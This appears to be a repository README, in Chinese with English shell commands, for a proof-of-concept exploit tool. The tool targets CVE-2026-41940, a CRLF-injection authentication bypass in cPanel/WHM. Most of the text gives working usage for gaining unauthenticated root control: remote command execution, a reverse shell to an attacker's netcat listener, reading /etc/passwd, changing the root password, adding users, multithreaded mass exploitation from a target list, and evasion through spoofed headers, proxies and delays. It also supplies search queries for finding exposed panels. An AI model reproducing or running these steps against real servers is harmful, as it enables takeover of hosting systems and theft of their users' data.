针对CVE-2026-41940的PoC漏洞利用,通过CRLF注入绕过cPanel/WHM身份验证。支持会话劫持、RCE、反向shell、批量扫描以及交互式shell,用于授权的渗透测试。

cPanel & WHM 版本 - CRLF 注入导致身份验证绕过与完整会话劫持
该漏洞利用程序利用了 CVE-2026-41940,这是 cPanel/WHM 中的一个严重身份验证绕过漏洞。通过向会话管理系统注入精心构造的 CRLF 载荷,它能够在没有任何有效凭据的情况下实现会话劫持、获取 root 访问权限并完全控制托管面板。
| 类别 | 功能 |
|---|---|
| 漏洞利用 | [+] 通过 CRLF 注入绕过身份验证 [+] WHM 会话劫持 [+] 安全令牌泄露 [+] 即时获取 Root 访问权限 |
| 后渗透 | [+] 账户列表提取(用户 + 域名) [+] 远程命令执行(RCE) [+] 反向 Shell(兼容 netcat) [+] 文件读取(配置文件、日志等) [+] 修改 Root 密码 [+] 创建新的 cPanel 用户 |
| 扫描 | [+] 单目标漏洞利用 [+] 多目标批量扫描 [+] 多线程(可配置线程数) [+] 端口覆盖支持 |
| 隐蔽性 | [+] 请求间随机延迟 [+] X-Forwarded-For 欺骗 [+] 自定义 User-Agent 支持 [+] 代理支持(HTTP/HTTPS) |
| 易用性 | [+] 交互式 WHM Shell(-i)[+] 彩色输出(colorama) [+] 详细/调试模式 [+] 账户列表导出到文件 [+] 保活会话线程 [+] 针对不稳定连接的重试机制 |
| 产品 | 版本 | 状态 |
|---|---|---|
| cPanel & WHM | 11.92 - 11.102 | [+] 已确认 |
| cPanel & WHM | 11.104 - 11.110 | [+] 已确认 |
| cPanel & WHM | 11.118 - 11.136 | [!] 有限 |
| cPanel & WHM | < 11.86 | [+] 可能受影响 |
port:2087 "cPanel" "WHM"
port:2083 "cPanel"
免责声明:本工具仅供授权的安全测试和教育目的使用。未经授权的访问是非法的。
# Clone the repository
git clone https://github.com/tc4dy/CVE-2026-41940-POC-Exploit
cd CVE-2026-41940-POC-Exploit
# Install dependencies
pip3 install -r requirements.txt
# Run
python3 exploit.py -t https://example.com:2087
# Basic exploitation (extract accounts)
python3 exploit.py -t https://192.168.1.100:2087
# Save accounts to file
python3 exploit.py -t https://192.168.1.100:2087 -o accounts.txt
# Verbose mode (debug output)
python3 exploit.py -t https://192.168.1.100:2087 -v
# Interactive WHM Shell (Recommended)
python3 exploit.py -t https://192.168.1.100:2087 -i
[email protected] $ accounts # List all cPanel accounts
[email protected] $ version # Show cPanel version
[email protected] $ ls /home # List directory
[email protected] $ cat /etc/passwd # Read file
[email protected] $ exec id # Execute command
[email protected] $ passwd NewPass123 # Change root password
[email protected] $ adduser test test.com pass123 # Create new user
[email protected] $ exit # Exit shell
## 远程命令执行
```bash
# Execute single command
python3 exploit.py -t https://192.168.1.100:2087 --cmd "id"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "cat /etc/passwd"
python3 exploit.py -t https://192.168.1.100:2087 --cmd "whoami; hostname; uname -a"
# Read file
python3 exploit.py -t https://192.168.1.100:2087 --read /etc/passwd
python3 exploit.py -t https://192.168.1.100:2087 --read /home/example/config.php
# Attacker machine (listener)
nc -lvnp 4444
# Exploit (reverse shell)
python3 exploit.py -t https://192.168.1.100:2087 --reverse-shell 10.0.0.1:4444
# Change root password
python3 exploit.py -t https://192.168.1.100:2087 --passwd "NewRootPass123!"
# Create new cPanel user
python3 exploit.py -t https://192.168.1.100:2087 --adduser hacker hacker.com Pass1234
# Keep-alive session (maintain access)
python3 exploit.py -t https://192.168.1.100:2087 --no-keep-alive # Disable auto keep-alive
# Create targets file
echo "https://target1.com:2087" > targets.txt
echo "https://target2.com:2087" >> targets.txt
echo "https://10.0.0.5:2087" >> targets.txt
# Mass exploit with 20 threads
python3 exploit.py -l targets.txt --threads 20
# Mass exploit with command execution
python3 exploit.py -l targets.txt --threads 10 --cmd "id"
# Custom port (non-standard)
python3 exploit.py -t https://example.com -p 8443
# Using proxy
python3 exploit.py -t https://192.168.1.100:2087 --proxy http://127.0.0.1:8080
# Custom user-agent for stealth
python3 exploit.py -t https://192.168.1.100:2087 -ua "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
# Custom delay and retries
python3 exploit.py -t https://192.168.1.100:2087 --delay 5 --max-retries 5
# SSL verification (ignore self-signed by default)
python3 exploit.py -t https://192.168.1.100:2087 --ssl-verify
| 短参数 | 长参数 | 描述 | 默认值 |
|---|---|---|---|
-t | --target | 单个目标 URL | 必需(单目标) |
-l | --target-file | 包含目标列表的文件 | 必需(批量) |
-p | --port | 覆盖端口 | 自动检测 |
-o | --output | 将账户列表保存到文件 | 无 |
-v | --verbose | 启用调试输出 | False |
-i | --interactive | 交互式 WHM shell | False |
--proxy | HTTP/HTTPS 代理 | 无 | |
-ua | --user-agent | 自定义 User-Agent | 随机 |
--cmd | 执行单条命令 | 无 | |
--reverse-shell | 反向 shell IP:PORT | 无 | |
--passwd | 修改 root 密码 | 无 | |
--adduser | 创建新用户(USER DOMAIN PASS) | 无 | |
--read | 从目标读取文件 | 无 | |
--threads | 批量扫描的线程数 | 10 | |
--delay | 保活间隔(秒) | 3.0 | |
--max-retries | 每个请求的最大重试次数 | 3 | |
--no-keep-alive | 不维持会话 | False | |
--ssl-verify | 验证 SSL 证书 | False |
docker run -d --name cpanel-test -p 2087:2087 cpanel/cpanel:102
docker pull cpanel/cpanel:11.102 docker run -d -p 2087:2087 cpanel/cpanel:11.102
查看我的其他漏洞利用仓库:
本工具包严格仅供授权的安全测试、红队演练和防御性研究使用。使用本软件即表示您同意以下条款: